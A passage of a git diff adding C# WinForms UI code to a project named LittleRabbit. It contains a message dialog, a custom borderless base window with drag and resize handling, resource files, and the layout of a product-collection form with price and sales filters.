System.Drawing.Color.White; + this.pnlConfirm.Style.GradientAngle = 90; + this.pnlConfirm.TabIndex = 26; + this.pnlConfirm.Text = "确 定"; + this.pnlConfirm.Click += new System.EventHandler(this.PnlConfirm_Click); + // + // picTip + // + this.picTip.Location = new System.Drawing.Point(21, 33); + this.picTip.Name = "picTip"; + this.picTip.Size = new System.Drawing.Size(64, 64); + this.picTip.TabIndex = 19; + this.picTip.TabStop = false; + // + // lblMsg + // + this.lblMsg.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.lblMsg.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblMsg.Location = new System.Drawing.Point(110, 17); + this.lblMsg.Name = "lblMsg"; + this.lblMsg.Size = new System.Drawing.Size(254, 100); + this.lblMsg.TabIndex = 18; + this.lblMsg.Text = "信息"; + this.lblMsg.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // BaseMsgForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(388, 217); + this.Controls.Add(this.panel2); + this.Name = "BaseMsgForm"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; + this.Text = "BaseMsgForm"; + this.TitleText = "BaseMsgForm"; + this.Controls.SetChildIndex(this.panel2, 0); + this.panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.picTip)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel2; + private DevComponents.DotNetBar.PanelEx pnlCancel; + private DevComponents.DotNetBar.PanelEx pnlConfirm; + private System.Windows.Forms.PictureBox picTip; + private System.Windows.Forms.Label lblMsg; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/BaseForms/BaseMsgForm.resx b/TEMUKJD/KJDForms/BaseForms/BaseMsgForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/BaseForms/BaseMsgForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/BaseForms/LRBaseForm.cs b/TEMUKJD/KJDForms/BaseForms/LRBaseForm.cs new file mode 100644 index 0000000..c06d796 --- /dev/null +++ b/TEMUKJD/KJDForms/BaseForms/LRBaseForm.cs @@ -0,0 +1,361 @@ +using AllBase; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.BaseForms +{ + public partial class LRBaseForm : Form + { + const int WM_NCHITTEST = 0x0084; + const int HTLEFT = 10; //左边界 + const int HTRIGHT = 11; //右边界 + const int HTTOP = 12; //上边界 + const int HTTOPLEFT = 13; //左上角 + const int HTTOPRIGHT = 14; //右上角 + const int HTBOTTOM = 15; //下边界 + const int HTBOTTOMLEFT = 0x10; //左下角 + const int HTBOTTOMRIGHT = 17; //右下角 + + public bool Dragable { get; set; } = true; + + protected override void WndProc(ref Message m) + { + switch (m.Msg) + { + case WM_NCHITTEST: + base.WndProc(ref m); + Point vPoint = new Point((int)m.LParam & 0xFFFF, + (int)m.LParam >> 16 & 0xFFFF); + vPoint = PointToClient(vPoint); + if (vPoint.X <= 5) + if (vPoint.Y <= 5) + m.Result = (IntPtr)HTTOPLEFT; + else if (vPoint.Y >= ClientSize.Height - 5) + m.Result = (IntPtr)HTBOTTOMLEFT; + else m.Result = (IntPtr)HTLEFT; + else if (vPoint.X >= ClientSize.Width - 5) + if (vPoint.Y <= 5) + m.Result = (IntPtr)HTTOPRIGHT; + else if (vPoint.Y >= ClientSize.Height - 5) + m.Result = (IntPtr)HTBOTTOMRIGHT; + else m.Result = (IntPtr)HTRIGHT; + else if (vPoint.Y <= 5) + m.Result = (IntPtr)HTTOP; + else if (vPoint.Y >= ClientSize.Height - 5) + m.Result = (IntPtr)HTBOTTOM; + break; + default: + base.WndProc(ref m); + break; + } + + this.Resize += LRBaseForm_Resize; + } + + private void LRBaseForm_Resize(object sender, EventArgs e) + { + if (WindowState == FormWindowState.Maximized) + { + pbMaxBase.Visible = false; + pbNormalBase.Visible = true; + if (showMinimizedBox) + pbMinBase.Visible = true; + } + else if (WindowState == FormWindowState.Minimized) + { + } + else + { + if (showMaximizeBox) + pbMaxBase.Visible = true; + pbNormalBase.Visible = false; + if (showMinimizedBox) + pbMinBase.Visible = true; + } + + if (!showMinimizedBox) + this.pbMinBase.Visible = false; + if (!showMaximizeBox) + { + this.pbMaxBase.Visible = false; + this.pbNormalBase.Visible = false; + } + } + + public LRBaseForm() + { + InitializeComponent(); + this.MaximumSize = new Size(Screen.PrimaryScreen.WorkingArea.Width, Screen.PrimaryScreen.WorkingArea.Height); + } + + private void LcBaseForm_Load(object sender, EventArgs e) + { + if (BaseClass.Ico != null) + Iconx = Icon = BaseClass.Ico; + else + Iconx = this.Icon = BaseClass.Ico = ImageBuild.ConvertToIcon(global::LittleRabbit.Properties.Resources.icon); + + if (!this.ShowIcon) + { + this.pbLogo.Visible = false; + this.lbTitle.Location = new Point(this.pbLogo.Location.X, this.lbTitle.Location.Y); + } + + if (this.ShowMaximizeBox) + { + if (this.WindowState == FormWindowState.Maximized) + { + this.pbMaxBase.Visible = false; + this.pbNormalBase.Visible = true; + } + else + { + this.pbMaxBase.Visible = true; + this.pbNormalBase.Visible = false; + } + } + + if (this.TopLevel || DesignMode) + { + this.Padding = new Padding(1); + this.panel1.Visible = true; + } + else + { + this.Padding = new Padding(0); + this.panel1.Visible = false; + } + } + + private void PictureBox2_Click(object sender, EventArgs e) + { + WindowState = FormWindowState.Minimized; + } + + public virtual void PictureBox1_Click(object sender, EventArgs e) + { + //pictureBox3.Image?.Dispose(); + Close(); + } + + private Icon _iconx; + public Icon Iconx + { + set + { + _iconx = value; + if (_iconx == null) return; + pbLogo.Image = _iconx.ToBitmap(); + } + } + + private bool showMinimizedBox = true; + [Browsable(true), Description("显示最小化按钮"), Category("自定义分组")] + public bool ShowMinimizedBox + { + get + { + return showMinimizedBox; + } + set + { + this.showMinimizedBox = value; + } + } + + private bool showMaximizeBox = false; + [Browsable(true), Description("显示最大化按钮"), Category("自定义分组")] + public bool ShowMaximizeBox + { + get { return showMaximizeBox; } + set + { + showMaximizeBox = value; + if (showMaximizeBox) + { + if (this.WindowState == FormWindowState.Maximized) + { + this.pbMaxBase.Visible = false; + this.pbNormalBase.Visible = true; + } + else + { + this.pbMaxBase.Visible = true; + this.pbNormalBase.Visible = false; + } + } + else + { + this.pbMaxBase.Visible = false; + this.pbNormalBase.Visible = false; + } + } + } + + public string TitleText + { + get + { + return Text; + } + set + { + lbTitle.Text = Text = value; + } + } + private Point mouseOffset;//记录鼠标指针的坐标 + private bool isMouseDown;//记录鼠标左键是否按下 + private void Panel1_MouseMove(object sender, MouseEventArgs e) + { + if (isMouseDown && Dragable) + { + //获取鼠标的位置 + Point mousePos = MousePosition; + mousePos.Offset(mouseOffset.X, mouseOffset.Y); + Location = mousePos; + } + } + + private void Panel1_MouseDown(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + mouseOffset = new Point(-e.X, -e.Y); + isMouseDown = true; + } + } + + private void Panel1_MouseUp(object sender, MouseEventArgs e) + { + isMouseDown = false; + } + + private void PictureBox1_MouseHover(object sender, EventArgs e) + { + this.pbCloseBase.Image = global::LittleRabbit.Properties.Resources.close_hover; + this.Cursor = Cursors.Hand; + + } + + private void PictureBox1_MouseLeave(object sender, EventArgs e) + { + this.pbCloseBase.Image = global::LittleRabbit.Properties.Resources.close; + this.Cursor = Cursors.Default; + + } + + private void PictureBox2_MouseHover(object sender, EventArgs e) + { + this.pbMinBase.Image = global::LittleRabbit.Properties.Resources.min_hover; + this.Cursor = Cursors.Hand; + + } + + private void PictureBox2_MouseLeave(object sender, EventArgs e) + { + this.pbMinBase.Image = global::LittleRabbit.Properties.Resources.min; + this.Cursor = Cursors.Default; + + } + + public virtual void HideTitle() + { + this.panel1.Visible = false; + } + + #region 窗体提交数据完成事件 + public event Action SaveComplete; + protected virtual void OnSaveComplete(object param) + { + this.SaveComplete?.Invoke(param); + } + public event Action SaveCompleteWithDescribe; + protected virtual void OnSaveComplete(object param, object describe) + { + this.SaveCompleteWithDescribe?.Invoke(param, describe); + } + #endregion + + private void pbNormalBase_Click(object sender, EventArgs e) + { + WindowState = FormWindowState.Normal; + this.pbMaxBase.Visible = true; + this.pbNormalBase.Visible = false; + } + + private void pbNormalBase_MouseHover(object sender, EventArgs e) + { + this.pbNormalBase.Image = global::LittleRabbit.Properties.Resources.normal_hover; + this.Cursor = Cursors.Hand; + } + + private void pbNormalBase_MouseLeave(object sender, EventArgs e) + { + this.pbNormalBase.Image = global::LittleRabbit.Properties.Resources.normal; + this.Cursor = Cursors.Default; + } + + private void pbMaxBase_Click(object sender, EventArgs e) + { + WindowState = FormWindowState.Maximized; + this.pbMaxBase.Visible = false; + this.pbNormalBase.Visible = true; + } + + private void pbMaxBase_MouseHover(object sender, EventArgs e) + { + this.pbMaxBase.Image = global::LittleRabbit.Properties.Resources.max_hover; + this.Cursor = Cursors.Hand; + } + + private void pbMaxBase_MouseLeave(object sender, EventArgs e) + { + this.pbMaxBase.Image = global::LittleRabbit.Properties.Resources.max; + this.Cursor = Cursors.Default; + } + + private void lbTitle_MouseDown(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + mouseOffset = new Point(-e.X, -e.Y); + isMouseDown = true; + } + } + + private void lbTitle_MouseMove(object sender, MouseEventArgs e) + { + if (isMouseDown && Dragable) + { + var control = sender as Control; + if (control == null) + return; + + //获取鼠标的位置 + Point mousePos = MousePosition; + var x = mouseOffset.X; + var y = mouseOffset.Y; + while (control.Parent != null && control.Parent != this) + { + x -= control.Location.X; + y -= control.Location.Y; + control = control.Parent; + } + mousePos.Offset(x, y); + Location = mousePos; + } + } + + private void lbTitle_MouseUp(object sender, MouseEventArgs e) + { + isMouseDown = false; + } + } +} diff --git a/TEMUKJD/KJDForms/BaseForms/LRBaseForm.designer.cs b/TEMUKJD/KJDForms/BaseForms/LRBaseForm.designer.cs new file mode 100644 index 0000000..9fce8fa --- /dev/null +++ b/TEMUKJD/KJDForms/BaseForms/LRBaseForm.designer.cs @@ -0,0 +1,181 @@ +namespace LittleRabbit.LittleRabbitForms.BaseForms +{ + partial class LRBaseForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.panel1 = new System.Windows.Forms.Panel(); + this.pbMinBase = new System.Windows.Forms.PictureBox(); + this.pbNormalBase = new System.Windows.Forms.PictureBox(); + this.pbMaxBase = new System.Windows.Forms.PictureBox(); + this.pbLogo = new System.Windows.Forms.PictureBox(); + this.lbTitle = new System.Windows.Forms.Label(); + this.pbCloseBase = new System.Windows.Forms.PictureBox(); + this.panel1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbMinBase)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbNormalBase)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbMaxBase)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbLogo)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).BeginInit(); + this.SuspendLayout(); + // + // panel1 + // + this.panel1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panel1.Controls.Add(this.pbMinBase); + this.panel1.Controls.Add(this.pbNormalBase); + this.panel1.Controls.Add(this.pbMaxBase); + this.panel1.Controls.Add(this.pbLogo); + this.panel1.Controls.Add(this.lbTitle); + this.panel1.Controls.Add(this.pbCloseBase); + this.panel1.Dock = System.Windows.Forms.DockStyle.Top; + this.panel1.Location = new System.Drawing.Point(1, 1); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(657, 32); + this.panel1.TabIndex = 0; + this.panel1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.Panel1_MouseDown); + this.panel1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.Panel1_MouseMove); + this.panel1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.Panel1_MouseUp); + // + // pbMinBase + // + this.pbMinBase.Dock = System.Windows.Forms.DockStyle.Right; + this.pbMinBase.Image = global::LittleRabbit.Properties.Resources.min; + this.pbMinBase.Location = new System.Drawing.Point(529, 0); + this.pbMinBase.Name = "pbMinBase"; + this.pbMinBase.Size = new System.Drawing.Size(32, 32); + this.pbMinBase.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage; + this.pbMinBase.TabIndex = 1; + this.pbMinBase.TabStop = false; + this.pbMinBase.Click += new System.EventHandler(this.PictureBox2_Click); + this.pbMinBase.MouseLeave += new System.EventHandler(this.PictureBox2_MouseLeave); + this.pbMinBase.MouseHover += new System.EventHandler(this.PictureBox2_MouseHover); + // + // pbNormalBase + // + this.pbNormalBase.Dock = System.Windows.Forms.DockStyle.Right; + this.pbNormalBase.Image = global::LittleRabbit.Properties.Resources.normal; + this.pbNormalBase.Location = new System.Drawing.Point(561, 0); + this.pbNormalBase.Name = "pbNormalBase"; + this.pbNormalBase.Size = new System.Drawing.Size(32, 32); + this.pbNormalBase.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage; + this.pbNormalBase.TabIndex = 6; + this.pbNormalBase.TabStop = false; + this.pbNormalBase.Visible = false; + this.pbNormalBase.Click += new System.EventHandler(this.pbNormalBase_Click); + this.pbNormalBase.MouseLeave += new System.EventHandler(this.pbNormalBase_MouseLeave); + this.pbNormalBase.MouseHover += new System.EventHandler(this.pbNormalBase_MouseHover); + // + // pbMaxBase + // + this.pbMaxBase.Dock = System.Windows.Forms.DockStyle.Right; + this.pbMaxBase.Image = global::LittleRabbit.Properties.Resources.max; + this.pbMaxBase.Location = new System.Drawing.Point(593, 0); + this.pbMaxBase.Name = "pbMaxBase"; + this.pbMaxBase.Size = new System.Drawing.Size(32, 32); + this.pbMaxBase.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage; + this.pbMaxBase.TabIndex = 5; + this.pbMaxBase.TabStop = false; + this.pbMaxBase.Visible = false; + this.pbMaxBase.Click += new System.EventHandler(this.pbMaxBase_Click); + this.pbMaxBase.MouseLeave += new System.EventHandler(this.pbMaxBase_MouseLeave); + this.pbMaxBase.MouseHover += new System.EventHandler(this.pbMaxBase_MouseHover); + // + // pbLogo + // + this.pbLogo.BackColor = System.Drawing.Color.Transparent; + this.pbLogo.Image = global::LittleRabbit.Properties.Resources.icon; + this.pbLogo.Location = new System.Drawing.Point(5, 4); + this.pbLogo.Name = "pbLogo"; + this.pbLogo.Size = new System.Drawing.Size(23, 23); + this.pbLogo.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pbLogo.TabIndex = 3; + this.pbLogo.TabStop = false; + // + // lbTitle + // + this.lbTitle.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.lbTitle.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lbTitle.ForeColor = System.Drawing.Color.White; + this.lbTitle.Location = new System.Drawing.Point(31, 7); + this.lbTitle.Name = "lbTitle"; + this.lbTitle.Size = new System.Drawing.Size(588, 17); + this.lbTitle.TabIndex = 2; + this.lbTitle.Text = "label1"; + this.lbTitle.MouseDown += new System.Windows.Forms.MouseEventHandler(this.lbTitle_MouseDown); + this.lbTitle.MouseMove += new System.Windows.Forms.MouseEventHandler(this.lbTitle_MouseMove); + this.lbTitle.MouseUp += new System.Windows.Forms.MouseEventHandler(this.lbTitle_MouseUp); + // + // pbCloseBase + // + this.pbCloseBase.Dock = System.Windows.Forms.DockStyle.Right; + this.pbCloseBase.Image = global::LittleRabbit.Properties.Resources.close; + this.pbCloseBase.Location = new System.Drawing.Point(625, 0); + this.pbCloseBase.Name = "pbCloseBase"; + this.pbCloseBase.Size = new System.Drawing.Size(32, 32); + this.pbCloseBase.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage; + this.pbCloseBase.TabIndex = 0; + this.pbCloseBase.TabStop = false; + this.pbCloseBase.Click += new System.EventHandler(this.PictureBox1_Click); + this.pbCloseBase.MouseLeave += new System.EventHandler(this.PictureBox1_MouseLeave); + this.pbCloseBase.MouseHover += new System.EventHandler(this.PictureBox1_MouseHover); + // + // LRBaseForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(98)))), ((int)(((byte)(200))))); + this.ClientSize = new System.Drawing.Size(659, 535); + this.Controls.Add(this.panel1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.Name = "LRBaseForm"; + this.Padding = new System.Windows.Forms.Padding(1); + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "LcBaseForm"; + this.Load += new System.EventHandler(this.LcBaseForm_Load); + this.panel1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pbMinBase)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbNormalBase)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbMaxBase)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbLogo)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.PictureBox pbMinBase; + private System.Windows.Forms.PictureBox pbCloseBase; + private System.Windows.Forms.Label lbTitle; + private System.Windows.Forms.PictureBox pbLogo; + private System.Windows.Forms.PictureBox pbNormalBase; + private System.Windows.Forms.PictureBox pbMaxBase; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/BaseForms/LRBaseForm.resx b/TEMUKJD/KJDForms/BaseForms/LRBaseForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/BaseForms/LRBaseForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/CollectForms/CaiNiXiHuanCollectForm.Designer.cs b/TEMUKJD/KJDForms/CollectForms/CaiNiXiHuanCollectForm.Designer.cs new file mode 100644 index 0000000..3eec0db --- /dev/null +++ b/TEMUKJD/KJDForms/CollectForms/CaiNiXiHuanCollectForm.Designer.cs @@ -0,0 +1,598 @@ +namespace LittleRabbit.LittleRabbitForms.CollectForms +{ + partial class CaiNiXiHuanCollectForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.btnExport = new LittleRabbit.UserControls.ButtonEx(); + this.ucGroupBoxEx1 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.txtKeyWords = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.btnLoginDouyin = new LittleRabbit.UserControls.ButtonEx(); + this.btnCollect = new LittleRabbit.UserControls.ButtonEx(); + this.ucGroupBoxEx2 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.label4 = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.txtRateMax = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.txtRateMin = new System.Windows.Forms.TextBox(); + this.label2 = new System.Windows.Forms.Label(); + this.txtCommentCountMax = new System.Windows.Forms.TextBox(); + this.label9 = new System.Windows.Forms.Label(); + this.txtTotalPage = new System.Windows.Forms.TextBox(); + this.label10 = new System.Windows.Forms.Label(); + this.txtCommentCountMin = new System.Windows.Forms.TextBox(); + this.label12 = new System.Windows.Forms.Label(); + this.txtSellCountMax = new System.Windows.Forms.TextBox(); + this.txtPriceMax = new System.Windows.Forms.TextBox(); + this.label13 = new System.Windows.Forms.Label(); + this.txtPriceMin = new System.Windows.Forms.TextBox(); + this.label14 = new System.Windows.Forms.Label(); + this.label15 = new System.Windows.Forms.Label(); + this.txtSellCountMin = new System.Windows.Forms.TextBox(); + this.label16 = new System.Windows.Forms.Label(); + this.dgvCollect = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colProductId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colProductName = new System.Windows.Forms.DataGridViewLinkColumn(); + this.colImage = new System.Windows.Forms.DataGridViewImageColumn(); + this.colPrice = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colSaleCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colCommentCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colRate = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colDelete = new System.Windows.Forms.DataGridViewLinkColumn(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + this.ucGroupBoxEx1.SuspendLayout(); + this.ucGroupBoxEx2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvCollect)).BeginInit(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.btnExport); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx1); + this.splitContainer1.Panel1.Controls.Add(this.btnLoginDouyin); + this.splitContainer1.Panel1.Controls.Add(this.btnCollect); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx2); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer2); + this.splitContainer1.Size = new System.Drawing.Size(800, 450); + this.splitContainer1.SplitterDistance = 121; + this.splitContainer1.TabIndex = 377; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvCollect); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(5, 0, 5, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.statusBar); + this.splitContainer2.Size = new System.Drawing.Size(800, 325); + this.splitContainer2.SplitterDistance = 296; + this.splitContainer2.SplitterWidth = 1; + this.splitContainer2.TabIndex = 7; + // + // btnExport + // + this.btnExport.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnExport.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnExport.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnExport.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnExport.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnExport.ForeColor = System.Drawing.Color.White; + this.btnExport.Location = new System.Drawing.Point(720, 84); + this.btnExport.Margin = new System.Windows.Forms.Padding(2); + this.btnExport.Name = "btnExport"; + this.btnExport.Size = new System.Drawing.Size(66, 26); + this.btnExport.TabIndex = 394; + this.btnExport.Text = "导出数据"; + this.btnExport.UseVisualStyleBackColor = false; + this.btnExport.Click += new System.EventHandler(this.btnExport_Click); + // + // ucGroupBoxEx1 + // + this.ucGroupBoxEx1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx1.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx1.Controls.Add(this.txtKeyWords); + this.ucGroupBoxEx1.Location = new System.Drawing.Point(3, 2); + this.ucGroupBoxEx1.Name = "ucGroupBoxEx1"; + this.ucGroupBoxEx1.Size = new System.Drawing.Size(222, 120); + this.ucGroupBoxEx1.TabIndex = 393; + this.ucGroupBoxEx1.TabStop = false; + this.ucGroupBoxEx1.Text = "采集商品 请输入商品ID或为空"; + // + // txtKeyWords + // + // + // + // + this.txtKeyWords.Border.Class = "TextBoxBorder"; + this.txtKeyWords.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtKeyWords.Location = new System.Drawing.Point(10, 21); + this.txtKeyWords.Multiline = true; + this.txtKeyWords.Name = "txtKeyWords"; + this.txtKeyWords.PreventEnterBeep = true; + this.txtKeyWords.Size = new System.Drawing.Size(202, 88); + this.txtKeyWords.TabIndex = 7; + this.txtKeyWords.WatermarkText = "请输入要搜索的商品id或链接\r\n一行一个\r\n\r\n为空采集默认猜你喜欢商品"; + // + // btnLoginDouyin + // + this.btnLoginDouyin.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnLoginDouyin.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnLoginDouyin.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnLoginDouyin.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnLoginDouyin.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnLoginDouyin.ForeColor = System.Drawing.Color.White; + this.btnLoginDouyin.Location = new System.Drawing.Point(720, 20); + this.btnLoginDouyin.Margin = new System.Windows.Forms.Padding(2); + this.btnLoginDouyin.Name = "btnLoginDouyin"; + this.btnLoginDouyin.Size = new System.Drawing.Size(66, 26); + this.btnLoginDouyin.TabIndex = 373; + this.btnLoginDouyin.Text = "登录抖音"; + this.btnLoginDouyin.UseVisualStyleBackColor = false; + this.btnLoginDouyin.Visible = false; + this.btnLoginDouyin.Click += new System.EventHandler(this.btnLoginDouyin_Click); + // + // btnCollect + // + this.btnCollect.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnCollect.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCollect.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnCollect.FlatStyle = 